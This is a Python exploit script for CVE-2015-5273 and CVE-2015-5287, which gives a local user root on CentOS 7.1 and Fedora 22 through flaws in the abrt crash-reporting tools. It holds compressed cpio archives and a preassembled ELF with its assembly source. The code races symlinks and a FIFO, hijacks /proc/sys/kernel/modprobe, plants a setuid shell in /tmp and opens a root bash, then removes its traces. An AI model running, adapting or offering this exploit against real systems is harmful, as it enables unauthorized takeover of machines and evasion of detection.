1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219 | #!/usr/bin/python
# CVE-2015-5273 + CVE-2015-5287
# CENTOS 7.1/Fedora22 local root (probably works on SL and older versions too)
# abrt-hook-ccpp insecure open() usage + abrt-action-install-debuginfo insecure temp directory usage
# rebel 09/2015
# ----------------------------------------
# [user@localhost ~]$ id
# uid=1000(user) gid=1000(user) groups=1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# [user@localhost ~]$ cat /etc/redhat-release
# CentOS Linux release 7.1.1503 (Core)
# [user@localhost ~]$ python abrt-centos-fedora.py
# -- lots of boring output, might take a while on a slow connection --
# /var/spool/abrt/abrt-hax-coredump created
# executing crashing process..
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
import time,os,datetime,sys,resource,socket
fedora = "Fedora" in open("/etc/redhat-release").read()
# mkdir dir1
# ln -s /var/spool/abrt dir1/hax
# mkdir dir2
# mkdir dir2/hax
# ln -s /proc/sys/kernel/modprobe dir2/hax/abrt-hax-coredump
# cd dir1
# find . -depth -print | cpio -o > ../cpio1
# cd ../dir2
# find . -depth -print | cpio -o > ../cpio2
cpio1 = 'x\x9c;^\xc8\xcc\xa1\xb0\xef\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc\xc8\x02\xa4\xf9\x192\x12+\x18\xf4\xcb\x12\x8b\xf4\x8b\x0b\xf2\xf3s\xf4\x13\x93\x8aJ\x18\x8e\x03U\xb3\xef\xfb\xeb\x08R\xcd\x04U\r\xa2\x19\x18\xf4\x80r\x0cp\xc0\x08\xa5\xb9\xc1dH\x90\xa3\xa7\x8fk\x90\xa2\xa2"\xc3(\x18d\x00\x00\x16\xb9\x1bA'.decode("zip")
cpio2 = 'x\x9c;^\xc8\xcc\x917\xfb\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc(\x06\xa4%\x192\x12+\xf4\x13\x93\x8aJt\x81\x0c\xdd\xe4\xfc\xa2\xd4\x94\xd2\xdc\x02\x06\xfd\x82\xa2\xfcd\xfd\xe2\xcab\xfd\xec\xd4\xa2\xbc\xd4\x1c\xfd\xdc\xfc\x14\xa0PR*\xc3q\xa0I\x19\xb3\xff:\x82Lb\x82\x9a\xc4\xc2\x00\x02@\x03\xc0\xb2+\xef@d\x99\xa1\xb2L`Y=\xa0\x1c\x03\x1c0Bin0\x19\x12\xe4\xe8\xe9\xe3\x1a\xa4\xa8\xa8\xc80\nh\x02\x00\x01\x980\x88'.decode("zip")
if fedora:
cpio1 = cpio1.replace("/var/spool/abrt","/var/tmp///abrt")
payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"
# we use a 32 bit binary because [vsyscall] will be at the end of the coredump on 64 bit binaries
# and we can't control the contents of that region. on 32 bit binaries [stack] is at the end
# the crashing binary will just fill the stack with /tmp/hax.sh which subsequently gets written
# to /proc/sys/kernel/modprobe by /usr/libexec/abrt-hook-ccpp
elf = 'x\x9c\xabw\xf5qcddd\x80\x01&\x06f\x06\x10/\xa4\x81\x85\xc3\x84\x01\x01L\x18\x14\x18`\xaa\xe0\xaa\x81j@x1\x90\t\xc2\xac 1\x01\x06\x06\x97F\x1b\x15\xfd\x92\xdc\x82\xd2o\x8dg\xfe\xf3\x03\xf9\xbb\xbe\x00\xb5\xec\x14\x01\xca\xee\xee\x07\xaa\xd7<\xd3\xc5\xdc\xc1\xa2\xe2\xe2\xfc\xe8{\xf3\x1b\x11\xaf\xe6_\x0c\xa5\x8fv8\x02\xc1\xff\x07\xfaP\x00\xd4\xad\x9f\x91X\xa1W\x9c\xc1\xc5\x00\x00-f"X'.decode("zip")
# most people don't have nasm installed so i preassembled it
# if you're not brave enough to run the preassembled file, here's the code :)
"""
; abrt-hax.asm
; nasm -f bin -o abrt-hax abrt-hax.asm
BITS 32
org 0x08048000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident
times 8 db 0
dw 2 ; e_type
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd filesize ; p_filesz
dd filesize ; p_memsz
dd 5 ; p_flags
dd 0x1000 ; p_align
phdrsize equ $ - phdr
_start:
inc esp
cmp dword [esp],0x706d742f
jne l
or esp,0xfff
inc esp
mov edx,500
l3:
mov ecx,msglen
mov ebx,message
sub esp,ecx
l2:
mov al,[ebx]
mov [esp],al
inc esp
inc ebx
loop l2
sub esp,msglen
dec edx
cmp edx,0
jne l3
mov eax,0x41414141
jmp eax
message db '////////tmp/hax.sh',0x0a,0
msglen equ $-message
"""
build_id = os.popen("eu-readelf -n /usr/bin/hostname").readlines()[-1].split()[-1]
os.chdir("/tmp")
open("build_ids","w+").write(build_id + "\n")
print build_id
def child():
timestamp = int(time.time())
for i in xrange(0,3):
try:
t = datetime.datetime.fromtimestamp(timestamp+i)
d = "/var/tmp/abrt-tmp-debuginfo-%s.%u" % (t.strftime("%Y-%m-%d-%H:%M:%S"), os.getpid())
os.mkdir(d)
os.chmod(d,0777)
os.symlink("/var/tmp/haxfifo",d+"/unpacked.cpio")
print "created %s" % d
except: pass
os.execl("/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache","abrt-action-install-debuginfo-to-abrt-cache","-y")
try:
os.mkfifo("/var/tmp/haxfifo")
os.chmod("/var/tmp/haxfifo",0666)
except:
pass
def fifo(a):
print "reading from fifo.."
open("/var/tmp/haxfifo").read()
print "done"
print "writing to fifo.."
open("/var/tmp/haxfifo","w+").write(a)
print "done"
if os.fork() == 0: child()
print "first cpio..."
fifo(cpio1)
os.wait()
time.sleep(1)
if os.fork() == 0: child()
print "second cpio..."
fifo(cpio2)
os.wait()
time.sleep(1)
if fedora:
sym = "/var/tmp/abrt/abrt-hax-coredump"
else:
sym = "/var/spool/abrt/abrt-hax-coredump"
try:
os.lstat(sym)
except:
print "could not create symlink"
sys.exit(-1)
print "%s created" % sym
open("/tmp/abrt-hax","w+").write(elf)
os.chmod("/tmp/abrt-hax",0755)
if os.fork() == 0:
resource.setrlimit(resource.RLIMIT_CORE,(resource.RLIM_INFINITY,resource.RLIM_INFINITY,))
print "executing crashing process.."
os.execle("/tmp/abrt-hax","",{})
os.wait()
time.sleep(1)
if "/tmp/hax" not in open("/proc/sys/kernel/modprobe").read():
print "could not modify /proc/sys/kernel/modprobe"
sys.exit(-1)
open("/tmp/hax.sh","w+").write(payload)
os.chmod("/tmp/hax.sh",0755)
try:
socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
except:
pass
time.sleep(0.5)
try:
os.stat("/tmp/sh")
except:
print "could not create suid"
sys.exit(-1)
print "success"
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;rm -rf /var/cache/abrt-di/hax;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
|
